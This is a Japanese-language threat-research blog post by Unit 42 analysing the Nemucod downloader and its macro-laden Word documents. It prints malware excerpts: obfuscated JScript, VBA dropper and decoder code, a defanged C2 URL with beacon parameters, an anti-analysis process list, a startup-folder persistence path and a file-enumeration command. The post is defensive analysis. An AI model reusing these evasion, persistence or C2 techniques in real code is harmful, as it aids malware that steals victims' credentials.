※本記事は2017年5月11日に米国で掲載されたブログ記事 の抄訳を基にしています。

Palo Alto Networks の脅威インテリジェンスチーム Unit 42 は、直近で一連の Nemucod (リンク先英語)ダウンローダー マルウェアについての調査を重ねていました。本マルウェアは兵器化された文書を利用してエンコード化・高度な難読化を施した JavaScript を展開することにより、最終的には被害者にさらなるペイロードを配布するものです。ヨーロッパ、米国、日本での攻撃が目立ちます。

本マルウェアの特定のバージョンで見つかったエンコード済 JavaScript の 1 インスタンスを静的解析し、難読化の解読を行ったところ、コマンド&コントロール (C2) サーバーの IPv4 アドレスが見つかりました。そこでこの IPv4 アドレスを足がかりに、さらに弊社の脅威インテリジェンスサービス AutoFocus での解析を試みたところ、本マルウェアの多数のバージョンを発見するに至りました。また、これまでに見つかったバージョンはいずれも最終ペイロードとして認証情報窃取用のトロイの木馬を配布していることが確認されました。

先日公表したホワイトペーパー『Unit 42 white paper Credential-Based Attacks』(リンク先英語)では、攻撃者にとっていかに認証情報が重要であるか説明しています。このほか、重要な認証情報を窃取するため、Nemucode キャンペーンのような認証情報窃取用トロイの木馬を含めたさまざまなマルスパム フィッシング テクニックが、どのように駆使されるかについても紹介しています。さらに、盗んだ認証情報を使ってどのようにして攻撃者が正当なユーザーを装うかについても説明しています。

調査チームが過去 5 ヶ月、Nemucod マルウェアの攻撃キャンペーンを追跡したところ、Nemucod マルウェアの攻撃数最多を記録したのはヨーロッパで、米国、日本がその後に続き、対象となった組織の種別も複数にまたがっていました (図 1、2参照) 。

nemucod_1

図 1: Nemucod の攻撃対象国(円の大きさは攻撃セッション数を示します)

nemucod_2

図 2: 狙われた組織種別(攻撃セッション数別)

図 1 が示すとおり、単独で最多の影響を受けたのはスペインで、主な要因としては図 2 に示されている士業関連の中で、特に法務分野が攻撃されたことが挙げられます。また、同じ要因でベルギーの攻撃総数も押し上げられています。電力が士業関連に続き、そのほぼすべての攻撃がフランスを対象としたものでした。医療系については、スペインへの攻撃が多くを占めています。また図 3 に示す産業分野別影響のワースト 10 の最後に挙げられているエネルギー系は主に英国での活動によるものでした。証券分野と投資分野はほとんどが米国、英国、ノルウェーのトラフィックによるものです。日本でみられた悪意のあるトラフィックはハイテク産業への攻撃によるものでした。

nemucod_3

図 3: ヨーロッパ各国への影響、攻撃セッション数別

図 4 が示すとおり、マルウェアの大部分は電子メール (SMTP、POP3、および IMAP アプリケーション) 経由で着信し、そのほとんどがポーランドを送信元としていました。そうでない場合も、ポーランド語のドメイン名のついたメールアドレスを送信元として利用していました。受信者の電子メールアドレスはさまざまですが、名前や LinkedIn のアカウント詳細から見てその多くが有効なメールアドレスであったようです。このほかの一部のセッションについては webブラウザアプリケーション経由で着信しており、これらはモルドバの IP アドレス範囲として帰着される web サイトからダウンロードされていました。この詳細については後述します。

nemucod_4

図 4: Nemucod が利用した攻撃セッション数別上位のネットワークアプリケーション

The remainder of this blog describes the evolution of the malware since that time, as well as other topics:

  • 兵器化された文書の進化
  • 攻撃者が利用していると推測されるインフラを含むワークフローやセットアップについての考察
  • 使われた難読化テクニックとソーシャル エンジニアリング テクニック
  • 認証情報窃取のペイロード

技術的分析

ドロッパーの進化

2017 年 1 月期の短期間、攻撃者がエンコード済 JScript のコンテンツを Delphi でコンパイルしたドロッパー実行形式ファイルとして配布したことがありました。ただしこれ以外のほぼすべての期間については、Visual Basic for Applications (VBA) で Nemucod のインストールコードを書き、これを Microsoft Office マクロとして埋め込むことで兵器化した文書の使用のみが観測されていました。とくに近年のマルウェアを含む文書数について考えると、攻撃者がなぜ短期間だけ兵器化した文書ファイルから実行ファイルにシフトして、また方針を戻したかについては不明です。自身の攻撃技能や被害者の対応力をテストしたかったのかもしれません。

2016年10月から2017年3月にわたり、Unit 42 チームは合計で 50 バージョン以上のこうした兵器化された文書を発見しています。これらの文書をもとにしたタイムラインは下記の通りです。本ブログのこれ以降の各セクションでは、このタイムラインを参照しつつ、進化の途上で本マルウェアに加えられた変更とその理由を考察していきます。

注意: この図は確認済みのすべてのバージョンを網羅していません。大きな変化とみなすべき出来事だけを示しています。ただし図は 2016 年 10 月 23 日に作成され、最終更新日は同 25 日となっており、同 26 日に弊社のクラウド脅威分析WildFireによって最初に発見されたバージョンから記載しています。

nemucod_5

図 5: Nemucod を使用した文書の進化のタイムライン

全バージョンの兵器化された文書のドロッパーに共通しているのは、VBA コードにパスワードによる保護が設定されていることです(以下図 6 参

照)。攻撃者はパスワード保護によってリサーチャーによる分析を回避しようと試みたようです。リサーチャーに正当な文書であると印象づける意図もあったかもしれません。または、セキュリティ製品がパスワード保護の有無をチェックして正当な文書かどうかを判断する可能性を見込んだのかもしれません。

nemucod_6

図 6: コードを保護するためパスワードが設定された VBA エディタ

このほか全バージョンに共通しているのが、高度に難読化された JScript ペイロードです。図 7はその一部 です。難読化においては、見たところランダムに生成したと思われる変数名や Unicode による文字エンコード (例 \u00xx。xx は ASCII 文字コード表現) が多用されています。さらに、分割した文字列をつなぎ合わせたり、文字列から文字を拾い出したりするために、必要性のない計算を加えています。こうした難読化は主にシグネチャをもとにした検出技術を回避するために利用されますが、WildFire のようなサンドボックス型システムによる動的分析に対しては、ほぼ全く効果がありません。ただし手動で分析をする場合、こうした難読化によって手間と解析にかかる時間を増やす要因にはなります。

esesop_famous4='symbol';esesop_However7='breaking';esesop_pillar7='Paolo';esesop_pretends='Leading';esesop_comfortable='quattrocento1';esesop_PABLO='artistic10';esesop_Raphael7='Durer5';esesop_Picasso='demonstrates';esesop_clearly5='between';esesop_TURNER5='being3';esesop_famous8='renewal';esesop_often1='expressionism';esesop_Abstract7='MARCEL8';esesop_above='loose7';esesop_many1='years';esesop_courtesan='modernism10';esesop_with='FRIDA';esesop_JACKSON='romanticism';esesop_Sistine='Quattrocento';var esesop_considered=this[[''+String[{p0:'\u0066'}.p0+{p0:'\u0072'}.p0+{p1:'\u006f'}.p1+{p_t1:'\u006d'}.p_t1+{p_s0:'\u0043'}.p_s0+{p_1:'\u0068'}.p_1+{p_l0:'\u0061'}.p_l0+{p0:'\u0072'}.p0+{p3:'\u0043'}.p3+{p_1:'\u006f'}.p_1+{p_f2:'\u0064'}.p_f2+{p_h2:'\u0065'}.p_h2](Math[{p_3:'\u006d'}.p_3+{p_M2:'\u0061'}.p_M2+{p3:'\u0078'}.p3](87,[]))+'',

図 7: 難読化された JScript コード

 

図 5 のタイムラインで4 番目の項目に示した、10 月終わりにかけて登場した初期バージョンの1つでは、余分な ASCII 文字の暗号難読化レイヤ (サンプルを図 8 に記載) を追加し、同時に当該難読化レイヤの解読用 VBA コードも追加しています (図 9)。この暗号難読化レイヤから、攻撃者がなんとか検出を免れようとしている様子が分かります。

6D6D@A072>@FDclVDJ>3@=Vj6D6D@A0w@H6G6CflV3C62<:?8Vj6D6D@A0A:==2CflV!2@=@Vj6D6D@A0AC6E6?5DlV{625:?8Vj6D6D@A04@>7@CE23=6lVBF2EEC@46?E@`Vj6D6D@A0!pq{~lV2CE:DE:4`_Vj6D6D@A0#2A926=flVsFC6CdVj6D6D@A0!:42DD@lV56>@?DEC2E6DVj6D6D@A04=62C=JdlV36EH66?Vj6D6D@A0%"

図 8: 追加された難読化 JScript コードのレイヤ

 

Function Ghost(str)
    Dim i, j, k, r
    j = Len(str)
    r = ""
    For i = 1 To j
        k = Asc(Mid(str, i, 1))
        If k >= 33 And k <= 126 Then
            r = r & Chr(33 + ((k + 14) Mod 94))
        Else
            r = r & Chr(k)
        End If
    Next
    Ghost = r
End Function

図9: Jscript 難読化用に追加されたレイヤのために VBA で書かれた難読化解読コード

 

攻撃者が JScript コードの難読化テクニックを磨くのにはしばらく時間がかかったようですが、同年 12 月の半ば頃にはカスタムメイドの ASCII 暗号に替えて Microsoft Script Encoding を利用したバージョンが出回りはじめます。単純化を目的としたのかもしれませんし、修正の難しい不具合があったのかもしれません。

このようなエンコードが加えられたコンテンツの多くが .JSE の拡張子のついたファイルに格納されていますが、攻撃者はファイル先頭にマジックナンバー「#@~^」が存在するかどうかも慎重にチェックしています。以下はその様子を示しています。

 

$ hexdump -C wx64.jse | head
00000000  23 40 7e 5e 4c 58 51 42  41 41 3d 3d 64 5e 57 4f  |#@~^LXQBAA==d^WO|
00000010  7f 5c 7f 44 43 6d 5c 7f  2b 2a 7b 20 31 26 70 2f  |.\.DCm\.+*{ 1&p/|

図 10: Microsoft 社の Script Encoding を使い、さらに JScript コードを難読化

 

人は見かけによらぬもの、文書は拡張子によらぬもの

兵器化された文書からメタデータその他の情報を抽出すると、調査上役に立つ考察を得られる場合があります。もちろんこうしたデータはほとんどが偽装されたものだという可能性もあります (実際 ほかのリサーチャーがそうした例を示したこともあります[リンク先英語])し、単純に無意味なものである可能性もあります。ただしこの事例では非常に多くの興味深い変数データや情報が見つかり、そこから相応に確度の高い結論を引き出すことができます。

以下の図表を眺めると、この脅威の背後にいるグループが攻撃キャンペーンに使用したマルウェアをどのように進化させてきたかというパターンが浮かび上がってきます。このパターンは、ソフトウェア開発をチームでおこなう際のパターンに非常によく似ています。つまり、チームで新規プロジェクトに着手し、あるバージョンはメジャーバージョン、またあるバージョンはマイナーバージョンとして時間をかけてコードを修正する場合のパターンにそっくりなのです。

図 11 に各兵器化文書の変更回数をグラフで表示しています。また同じ図表内に、各文書の本文に含まれる単語数も重ねて表示しています。ここからあるパターンが見えてきます。

nemucod_7

図11: 各文書の変更回数(右軸)とその本文に含まれるワード数(左軸)をグラフ化

兵器化された文書の初期バージョン、つまり10 月下旬頃の文書プロパティを確認すると、変更回数が非常に多く、最も多い場合で 192回変更していることが分かります。これはその後に続くすべてのバージョンと比べても突出しています。攻撃者が作成した最初のバージョンが実際にこの 10 月下旬の初期バージョンであり、その後何度も変更し、努力を重ねたと考えれば、この編集回数の変化をうまく説明することができます。つまり、これもまたソフトウェア開発者が最初に開発したバージョンによく似ているのです。

また、ほとんどのバージョンで、たとえばプロジェクト名や説明部分に、デフォルトの VBA プロジェクトのプロパティ情報だけを使用するようにしているようですが、初期バージョンを解析すると、そうした制限をしていなかった様子が見て取れます。以下の図 12 はカスタムで設定されたプロジェクト説明です。

nemucod_8

図 12: 初期バージョンで使用された VBA プロジェクトの説明
(Project Descriptionのところに記載されたセリフ:何か計画があるのか?ホワイト先生、化学だよ!)

このセリフに見覚えがない人は、下の図 13 をみるとその文脈が理解できるかもしれません。

nemucod_9

図 13: 米国の TV ドラマ「ブレイキング・バッド」シーズン 1 エピソード 7 より

最初のバージョンでプロジェクトの説明に使われているこの引用は、米国の犯罪ドラマ テレビ シリーズ『ブレイキング・バッド』シーズン1 エピソード7 からそのままコピーされたものです。

警告: 以下の内容はドラマのネタバレを含みます。

この文言への引用をマルウェアに含めたのはこの攻撃者にとっては適切な行為だったのだろうと考えられます。というのも、本テレビシリーズで、ある登場人物が家族を支えるためにやむなく犯罪者に身を落とすことになるように、このマルウェア キャンペーンの背後にいる人物またはグループもまた、人生のある時点で良識ある市民からサイバー犯罪者に転身したに違いないからです。

これ以外のバージョンについても、先に述べた初期バージョンの 192回の変更回数と同様、マルウェアの進化途上で重要な更新や機能のリリースが行われるタイミングで回数が平均を上回る様子が見られます。これもまた、ソフトウェアのメジャーバージョンのリリースによく似ています。詳細については後述しますが、「なぜ、それまでゼロだった単語数が 11 月 30 日に突然 6000 単語以上に跳ね上がり、その後ずっと増加しつづけ、最終的に最新バージョンでは元の 3 倍以上の単語数を含むようになるものが出てきたのか」という点の重要性については言及しなければなりません。この期間にリリースされた各文書の単語数は増加していますが、難読化の技術向上はかなり停滞していました。ここから、この期間中により多くの機能が追加され、コーディング量が増えていたのだろうと推測できます。

こうした兵器化文書の単語数と変更に伴う編集にかけた時間を比較すると、前述の進化パターンがさらに見えてきます。図 14 はいくつかの興味深い点を示しています。

まず、初期バージョンの編集にはもっとも時間が掛かっています (2日間にまたがっている)。次にもっとも編集に時間がかかったのは 11 月 30 日です。このタイミングは前述した単語数の急増 (ゼロから 6000 単語以上) と合致しています。

nemucod_10

Figure 14: Chart plotting amount of editing time for each version.

11 月 30 日は、間違いなく攻撃者の利用する技術に重要な変更があった日でした。その後の調査により、これら 2 つの日付の間で攻撃者は VBA コード内にスタティックに格納していたエンコード済み JScript コードをWord文書自体に移動する変更を行っていたことがわかりました。

どのぐらいの VBA だと多すぎる?

これまで見てきた11 月 30 日以前のすべてのバージョンでは、被害者が文書を開くと自動的にコードが実行されるよう、Word の AutoOpen マクロの VBA コード内に JScript を格納していました。ただしこの JScript は、難読化はされているもののエンコードはされていませんでした。図 15 はこのコードを一部抽出したものですが、数百行分以上のコードを省略しています。太字でハイライトした部分が難読化した JScript のコードの塊を配列オブジェクトに格納しているコードです。この後この配列オブジェクトからコードが 1 行ずつ取り出されて処理され、再構成された後ディスクに単一 .JSE ファイルとして書き出されます。書き出された .JSE ファイルは Microsoft Windows Script Host 実行ファイル (wscript.exe) によって実行されます。VBA コードは高度に複雑化され、数々の関数名やオブジェクト名が不必要に分割されたりつなぎ合わされたりして実行時に文法上は正しくなるように工夫されていました。これもまた技術者による手動分析を妨げることを目的としたものでしょう。

 

 Sub AutoOpen()

'==========================================================================
Dim objSysInfo: Set objSysInfo = CreateObject("WinNTSystemInfo")
Dim objFSO:     Set objFSO = CreateObject("Scripting.FileSystemObject")
Dim objShell:   Set objShell = CreateObject("Shell.Application")
Dim objDic:     Set objDic = CreateObject("Scripting.Dictionary")
Dim objPO:      Set objPO = CreateObject("Scripting.Dictionary")
Dim wsh:        Set wsh = VBA.CreateObject("WScript.Shell")
'==========================================================================

Dim filepath As String:  filepath = Empty
Dim tempcode12 As String:  tempcode12 = Empty
Dim hash12 As String:  hash12 = Empty
Dim strComputerName As String:  strComputerName = Empty
Dim objFile, empty12, filets, ver, out1, proc
Dim hash#, upper&, i&
Dim now, mimi As Long
Const max# = 2 ^ 31


With objDic
.Add "g1", "angul_tryingI=0.669;angul_something=0.105;angul_never6=0.879;angul_shes=913;angul_aware8=0.663;angul_said=846;angul_cold=739;angul_life7=0.927;angul_dare3=370;angul_sees=0.96;angul_whole8=0.31;angul_yourself=707;angul_goneShe=0.21;var angul_stayEven1"
.Add "g2", "={_lo3:'\u0045'}._lo3+{_m1:'\u006e'}._m1+{_d2:'\u0074'}._d2+{_1:'\u0065'}._1+{_th3:'\u0072'}._th3+{_ah1:'\u0020'}._ah1+{_re1:'\u0074'}._re1+{_d0:'\u0068'}._d0+{_0:'\u0065'}._0+{_K3:'\u0020'}._K3+{_wi1:'\u0074'}._wi1+{_n1:'\u0065'}._n1+{_w1:'\u0078'}."
.Add "g3", "_w1+{_re0:'\u0074'}._re0+{_sh3:'\u0020'}._sh3+{_0:'\u0074'}._0+{_t3:'\u006f'}._t3+{_y2:'\u0020'}._y2+{_1:'\u0065'}._1+{_pr0:'\u006e'}._pr0+{_w1:'\u0063'}._w1+{_j2:'\u006f'}._j2+{_h0:'\u0064'}._h0+{_fa1:'\u0065'}._fa1+{_3:'\u0020'}._3+{_j0:'\u0074'}._"
…

図 15: 難読化された JScript コードが VBA コードに格納されている

 

11 月 30 日以降は図 16 が示すようにこの VBA コードが 10 行以下のコードに置き換えられました。このコードは単純に Word 文書のテキストコンテンツを読み出して .JSE ファイルに書き込んでいます。この小さな VBA コードの難読化は時間の経過とともに若干変化しました。複雑に入り組んだ文法を使い、分割しておいた文字列を実行時に再結合してファイル名として使うなどの方法を採用することで、文字列やシグネチャにもとづいた検出を難しくしています。

nemucod_11

図 16: 文書本文に格納された難読化した JScript コードを取得する VBA コード

図 16 のコードからもわかるとおり、.JSE ファイルはディスク上の文書の存在するフォルダと同じフォルダ内に文書と同じ名前で、拡張子だけ .JSE に変更して書き出されます。たとえばこの文書が foobar.doc というファイル名でデスクトップに置かれていれば、foobar.doc.jse というファイルがデスクトップに現れます。

VBA コードの ActiveDocument.Content.Text が Word 文書から難読化された JScript コンテンツを取得します。図 17 に表示したあるバージョンの事例では 24 ページもの長さがありますが、この図からもわかるとおり、文書は空白のように見えます。24 ページをすべて選択し、フォントの色を白以外にすると、図 18 に示すように悪意のあるコードが見えるようになります。

nemucod_12

図 17: 11 月 30 日以降のバージョンが 24 ページの空白コンテンツを表示しているところ

nemucod_13

図 18: 隠された悪意のあるコードを表示したところ

JSE コードを VBA 内から文書のテキストに移動するという変更を行った理由はいろいろ考えられますが、その理由の一つは攻撃者にとって簡便だっ

たからでしょう。つまり、カスタムメイドの暗号コードを難読化に使用するのをやめて Microsoft 社の Script Encoder に切り替えることで管理対象のコードを減らしたのと同様の理由です。このほか、ヒューリスティック(経験則によるテスト)を行って疑わしいファイルを検出するアンチウイルス スキャナやツールを回避するのが目的だったとも考えられます。というのは長さ 24 ページのコンテンツに小さな VBA コードがあるだけの文書は、長さが 1 ページしかないのに数百行の VBA コードを含む空白の文書に比べ、疑わしいと判断されにくいからです。

またこれはソーシャル エンジニアリングのテクニックのひとつとも考えられるでしょう。文書にはコンテンツがあるのに見えていないと信じさせることができれば、[コンテンツの有効化] ボタンを押してしまう被害者をそれだけ増やすことができるかもしれないからです。もちろん、このボタンをクリックしてすると、中身が見えるようになるかわりに VBA コードが実行されてしまいます。

継続は力なり

図 5 のタイムラインにそって 12 月まで見ていくと、12 月半ば頃にあるバージョンが登場します。このバージョンでは、Office アプリケーションの アクセス許可を利用して権限のない変更を防止しています。たとえば文書部分を読み取り専用に設定し、文書内のテキストのフォント色変更も禁止しています。ただし、こうした文書の許可設定は DLP (Data Loss Prevention) の機能には適用されないので、文書のテキスト コンテンツを選択して別のアプリケーションにコピー & ペーストすれば悪意のあるコードを取得することはできてしまいます。図 19 は、 12 月 18 日のバージョンから加わった許可設定の変更より前 (左) と後 (右) のバージョンにおける文書プロパティの差分を表しています。12 月 18 日以降にリリースされたバージョンは 20 以上ありますが、そのうち数ファイルについては、特に明らかな理由なく許可設定が追加されていません (例えば作成者が変わった、メジャーバージョンのコード リリースがあった、週の特定の日、など)。ただしこれら以外のファイルの許可設定の一貫性を考えるとこれは単純な人的ミスだったか、攻撃者がリリースのプロセスで許可設定の確認をしそこねたのかもしれません。

fig19

図 19: 初期バージョンでは Word 文書の許可設定がない (左) がより最近のバージョンでは許可設定が追加されている (右)

クリスマスから新年にかけての週は、多くの人がホリデーシーズンの浮かれ騒ぎで仕事のペースも全世界的に滞りがちなので、攻撃者から見れば酔っ払って人事不省に陥った被害者をフィッシング メールで騙すのにうってつけの時期であるといえます。12 月 28 日の水曜日には新しいバージョンが作成されており、このバージョンではマルウェアのソーシャル エンジニアリング機能が増強されています。

図 20 は、文書がより新しいバージョンの Word で作成されているため閲覧するには受信者が [コンテンツの有効化] ボタンをクリックする必要があるという偽のメッセージを表示している様子を示しています。ホリデーシーズンは脇においても、攻撃者はこうした戦略によって被害者層の拡大を図っていたようです。

nemucod_16

図 20: ソーシャル エンジニアリングを活用し、被害者が悪意のあるマクロ コードを実行するよう仕向ける

2017年初頭以降は VBA の GUI フォームの要素を含むバージョンも確認されました (図 21 参照)。現時点ではこのフォーム、要素、スケルトン コードは舞台裏に隠されていており、特に何もしません。おそらくこれもまたマクロ コードが無害なものであるように見せかけ、アンチウイルス製品による検出をかわそうとする正当性の演出の一環と推測するしかありません。というのは、被害者とインタラクティブにやりとりすることで無用な疑いを招くことは攻撃者も避けたいので、身代金の支払いを求める以外でマルウェアに GUI が使用されることはめったにないためです。本ダウンローダーにおいても、ペイロード部分にそうしたランサムウェアを利用していた痕跡は今のところ確認されていませんし、ダウンローダー内のフォームは、典型的なランサムウェアの GUI に似た部分がありません。

nemucod_17

図 21: GUI 要素が含まれる最近のバージョンのVBA フォーム

VBA フォームに GUI 要素を含む最初のバージョンのおよそ 1 週間後、別のバージョンが登場しました。このバージョンでは、薄い灰色で文書のテ

キストにエンコードされた JScript コードを表示しています(図 22 参照)。おそらくこれも、被害者に [コンテンツを有効にする] ボタンを押させるためのテクニックでしょう。つまり、[コンテンツを有効にする] をクリックすれば、灰色の文字がデフォルトの黒で表示されるようになるとか、文字化けのように見える内容が正常に戻ると思いこませることを狙っているのです。

nemucod_18

図 22: 灰色の色あせたようなフォント プロパティが設定されている

図 5 の攻撃タイムラインも終わりに近づく 2017 年の 1 月の中頃にはまた新しいバージョンが登場します。新しいバージョンのものの中には VBA コードで Word のAutoClose マクロ関数を使い、以前のすべてのバージョンで使われていたAutoOpenを使わないものが現れました。この変更による技術的効果は明らかですが、被害者に疑いを抱かれにくくする、または疑いを抱かれるのを遅らせるというソーシャル エンジニアリングの観点から見た効果はさほど明確ではないかもしれません。

大抵、このような兵器化された文書を開いた場合や、[コンテンツの有効化] をクリックしてコンテンツを有効化した場合、CPU 使用率が跳ね上がる、身代金要求のメッセージが表示される、ネットワーク接続が行われるなど、その効果はただちに現れます。どんな災難が降りかかりつつあるのかははっきりわからなくとも、ハードディスクの出すノイズや CPU ファンの回る音によって何か異常が発生していると被害者が気づいてしまうことはよくあるのです。

しかし AutoClose を使う方法なら、文書を開いた時点や、[コンテンツを有効化する] ボタンをクリックした時点ではまだ安全であり、あからさまな感染の兆候もないので万事順調に思えます。ところが文書を閉じる、または Word アプリケーションを終了するタイミングで感染ルーチンが起動されるため、この時点では何も起こらなかったとホッとしているかもしれません。しかしそれも長くは続きません。

図 5 のタイムライン に記載されている中で説明が必要な部分としては、このほかに OS のバージョン、コード ページ、作成者が挙げられるでしょう。メタデータによれば 2 バージョンを除くすべての兵器化された文書 バージョンの進化途上で Windows 5.1 (Windows XP) OS 上の Word を使って作成されています。Windows 6.1 (Windows 7) がこの残りの 2 バージョンで使われています。ちなみにこの Windows 7 上で作成された 2 バージョンでは、新しい作成者も 2 人追加されています。

作成者名「Till3」は最初のバージョンからおよそ1ヶ月後に登場して 11 月 25 日に作成されたバージョンを作成、その後 3つのバージョンを作成

し、最後のバージョンは作成開始から 13 分ほど後に保存しています。このバージョンは、VBA コード内にスタティックに JSE コードを格納していた「オリジナル」タイプに分類される兵器化文書の最終バージョンのうちの 1 つです。

作成者「Nish」はそれから数バージョンほど後の 12 月 14 日ごろ登場しました。 この作成者はほとんど違うバージョンの作成に貢献していません。またWindows 7 ホスト上で文書の編集をしていた時間もごくわずかでした。

ほかの作成者は、Windows XP システムを使用していました。図 23 を参照すると、ほとんど (半数以上) のバージョンが名無しの作成者に

よって作成されていること、Victor という作成者がほとんど 4 分の 1 のリビジョンを作成していること、残りはあまり差異のない少数ずつ

「John」「Mike」「Martin」と前述の 2 名の作成者「Till3」と「Nish」が作成していました。

面白いのは、Victor という作成者が全バージョンの 4 分の 3 以上にわたり、最終的に保存される内容と、おそらくは編集についてもについてより大きな役割を果たしていることでしょう。おそらくこの Victor がこのグループ内でシニア的な立場にあるか、チーム リーダーのようなものにあたるという可能性がここから読み取れます。

fig23

図 23: 作成者名 (左) と最後に保存した作成者の名前 (右)

これまでに収集された兵器化された文書のすべてのバージョンにはすべてコード ページ 1251が使われています。このコード ページはロシア語、ブルガリア語、セルビア語を始めとするキリル文字を使用する言語をカバーするよう設計されているものです。

図 24 が示すとおり、12 月は彼ら攻撃者にとってもっとも忙しい月でした。30 近いバージョン、つまりほぼ 1 日 1 バージョンをリリースしています。なぜ月ごとのリリースのペースが変化するのかについてはっきりしたことは分かりませんが、少なくともマルウェアの機能や配布のしくみを忙しく改変し続けていたがために以前よりリリースのペースが上がっていたとは考えられます。先に述べたとおり、また OilRig の攻撃者たちが自身のマルウェアができるかぎり検知されないこと、いちからツールを作り直さなくても複数の攻撃の実行ができることを目指して取り入れていた開発検証手法を説明しているこちらの最近のブログ(英語)にも述べたとおり、Nemucod キャンペーンにおける攻撃者たちも、機能追加する際の開発プロセスを極めて迅速化し、難読化そのほかの手法で検知率を最低限に抑え、ソーシャル エンジニアリングのテクニックを磨いてさらなる被害者を呼び込む、という努力を重ねていることがうかがい知れます。

nemucod_21

図 24: 月ごとのバージョン数

JSE のペイロード

兵器化された文書のマクロ コードが実行されると、エンコードされ、高度に難読化された JScript コードがディスク上に保存され、新たに実行されます。観測されている最初の動作には、偽のエラーメッセージボックスを表示するものもありました。(例:図 25)

メッセージのテキストにはいくつか種類がありますが、いずれも一見正当なコンテンツが実行に失敗したことを匂わせる点は共通しています。これもまた、被害者に安心感を与えるための手段です。

nemucod_22

図 25: JSE が実行されると偽のエラーメッセージが開く(「ファイルは開けません」)

次の図に示すように大部分のバージョンでは JSE ファイルを Windows のスタートアップ フォルダにコピーします。これにより、システムが再起動する度にコードが実行されることを担保します。

 

C:\Users\\AppData\Roaming\Microsoft\Windows\Start 
Menu\Programs\Startup\

JSE コードには数々の難読化ルーチンとテクニックが使用され、分析がしづらいように工夫されています。変数の宣言や文字列などで故意に ASCII 文字文字を同等の Unicode 文字に置き換えるのもその手法のひとつです。難読化解除の過程でこうした文字を ASCII に変換しなおすと、さらに分析を進めるための糸口となる内容が現れます。その一例が変数名「\u0075\u0072\u006c\u0031\u0032」です。これは ASCII 文字に変換すると「url12」になります。

あるバージョンではこの変数は次のコードで初期化されており、実行時には URL 文字列「https://185.159.82[.]11:3333/P/tipster.php?」にデコードされます。

 

	{orl_8:'\u0068'}.orl_8+{hich_5:([][[]] + []).fixed().toLowerCase().substr(1,1)}.hich_5+{ud_6:([][[]] + []).fixed().toLowerCase().substr(1,1)}.ud_6+{ar_6:'\u0070'}.ar_6+{he_9:'\u0073'}.he_9+{ta_7:'\u003a'}.ta_7+{vr_4:'\u002f'}.vr_4+{hich_9:'\u002f'}.hich_9+{ith_5:'\u0031'}.ith_5+{hy_8:'\u0038'}.hy_8+{ur_7:'\u0035'}.ur_7+{etLi_8:([][[]] + []+{ine4_9:([][[]] + []+{on_5:([][[]] + []+'.').split([])[9]}.on_5).split([])[9]}.ine4_9).split([])[9]}.etLi_8+{ort_8:'\u0031'}.ort_8+{hat_5:'\u0035'}.hat_5+{orms_4:'\u0039'}.orms_4+{ut_5:([][[]] + []+{ine4_9:([][[]] + []+{on_5:([][[]] + []+'.').split([])[9]}.on_5).split([])[9]}.ine4_9).split([])[9]}.ut_5+{heeT_8:'\u0038'}.heeT_8+{es_5:'\u0032'}.es_5+{pea_4:([][[]] + []+{ine4_9:([][[]] + []+{on_5:([][[]] + []+'.').split([])[9]}.on_5).split([])[9]}.ine4_9).split([])[9]}.pea_4+{or_8:'\u0031'}.or_8+{ist_8:'\u0031'}.ist_8+{ut_9:'\u003a'}.ut_9+{pec_8:'\u0033'}.pec_8+{ive_6:'\u0033'}.ive_6+{emo_8:'\u0033'}.emo_8+{xpe_9:'\u0033'}.xpe_9+{ill_7:'\u002f'}.ill_7+{ich_9:'\u0050'}.ich_9+{owrf_8:'\u002f'}.owrf_8+{ave8_5:([][[]] + []).fixed().toLowerCase().substr(1,1)}.ave8_5+{ain_6:(!'8' || []+[] || 'i')}.ain_6+{ec_7:'\u0070'}.ec_7+{ason_4:'\u0073'}.ason_4+{ost_8:([][[]] + []).fixed().toLowerCase().substr(1,1)}.ost_8+{in_5:(!'x' || []+[] || 'e')}.in_5+{our7_6:([][[]] + []).link().toLowerCase().substr(4,1)}.our7_6+{hi_6:([][[]] + []+{ine4_9:([][[]] + []+{on_5:([][[]] + []+'.').split([])[9]}.on_5).split([])[9]}.ine4_9).split([])[9]}.hi_6+{art_5:'\u0070'}.art_5+{onou_4:'\u0068'}.onou_4+{eeps_4:'\u0070'}.eeps_4+{ark_7:'\u003f'}.ark_7+{mpri_9:'\u0061'}.mpri_9+{he_9:(!'s' || []+[] || 'd')}.he_9+{et_8:(!'s' || []+[] || 'd')}.et_8+{ath9_4:'\u003d'}.ath9_4;[

 

以下の例に示した追加パラメータは、後でこの URL に連結されて攻撃者のインフラへの接続する HTTP GET リクエストの構成に使用されます。HTTP GET リクエストで攻撃者のインフラに接続すると、新しい被害者として次に示す uid が一意な ID として割り振られて登録されます。また、どのバージョンのマルウェアに被害者のシステムが感染したのかといったクライアントに関する追加情報も併せて送信されます。これにより攻撃者は、被害者がどの特定バージョンのマルウェアを実行しているのかを把握することができます。通信コードにバージョン識別子を用いるというこのマルウェアの動作は、ここでもやはりソフトウェア開発者がフィールドで使用されているアプリケーションについてフィードバックやテレメトリを受けとりたがるという点によく似ています。

  • add=3ef295d92702b904d009ba73e42a69c2
  • uid=1442894259
  • out=0
  • ver=20

JSE コードはすべての実行中プロセスの一覧を作成し、次にあげるアプリケーションがこの一覧に含まれているかどうかをチェックし、含まれている場合は自身を終了します。明らかにこのマルウェアは分析を避けたがっている様子です。下記に「Johnson-PC」という項目がありますが、これは分析用のマシン名としてありがちな名前なので、そうしたよく知られたサンドボックス上でマルウェアが実行されるのを避ける意図があるのでしょう。

Procmon
Wireshark
Temp\iexplore.exe
ProcessHacker
vmtools
VBoxService
python
ImmunityDebugger
Johnson-PC
Proxifier.exe

このマルウェアは、次にコマンドシェルを密かに実行し、ファイル一覧とそれらファイルへのフルパスを取得し、取得したファイルの拡張子が以下の一覧に合致するかどうかを確認するコマンドを実行します。この一覧の結果はテキストファイルにリダイレクトされますが、最近のバージョンの少なくとも 1 つにおいてはこのファイル名に pollos.txt という名前が使われています。これもまた『ブレイキング・バッド』からの引用です。

 

cmd /U /Q /C cd /D DriveLetter: && dir /b/s/x  >> %temp%\\pollos.txt

:

*.doc *.xls *.pub *.odt *.ods *.odp *.odm *.odc *.odb *.wps 
*.xlk *.ppt *.mdb *.accdb *.pst *.dwg *.dxf *.dxg *.wpd 
*.rtf *.wb2 *.mdf *.dbf *.psd *.pdd *.eps *.ai *.indd *.cdr 
*.dng *.3fr *.arw *.srf *.sr2 *.bay *.crw *.cr2 *.dcr *.kdc 
*.erf *.mef *.mrw *.nef *.nrw *.orf *.raf *.raw *.rwl *.rw2 
*.r3d *.ptx *.pef *.srw *.x3f *.der *.txt *.pdf

 

